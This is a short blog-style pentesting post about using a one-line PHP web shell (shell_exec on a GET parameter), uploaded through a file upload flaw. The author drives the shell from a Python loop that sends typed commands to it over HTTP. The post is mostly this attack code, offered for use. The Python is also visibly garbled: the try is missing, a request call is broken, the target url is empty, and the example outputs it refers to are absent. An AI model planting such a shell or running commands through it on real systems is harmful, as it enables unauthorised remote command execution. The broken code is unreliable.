Simple terminal in python

Suppose you are pentesting a web app and you have found a file upload vulnerability and have successfully uploaded a php file that has this content:

<?php echo shell_exec($_GET['cmd']); ?>

Everytime you need to execute command to find out more about the system that hosts that web app you may need to do something like this:

the result may seem difficult to read?

I am writing a python code which simply throws up results to the terminal, the code looks like this.

import requests

# change your url accordingly to where your <?php echo shell_exec($_GET['cmd']); ?> is uploaded to.
url = ""

    while True:
        cmd = input("> ")
        response =, params={"cmd": cmd})
except KeyboardInterrupt as e:

The result looks like this.

This is not a shell, it is simply the command echo back by php’s shell_exec, instead of displaying in browser it is displayed on terminal.


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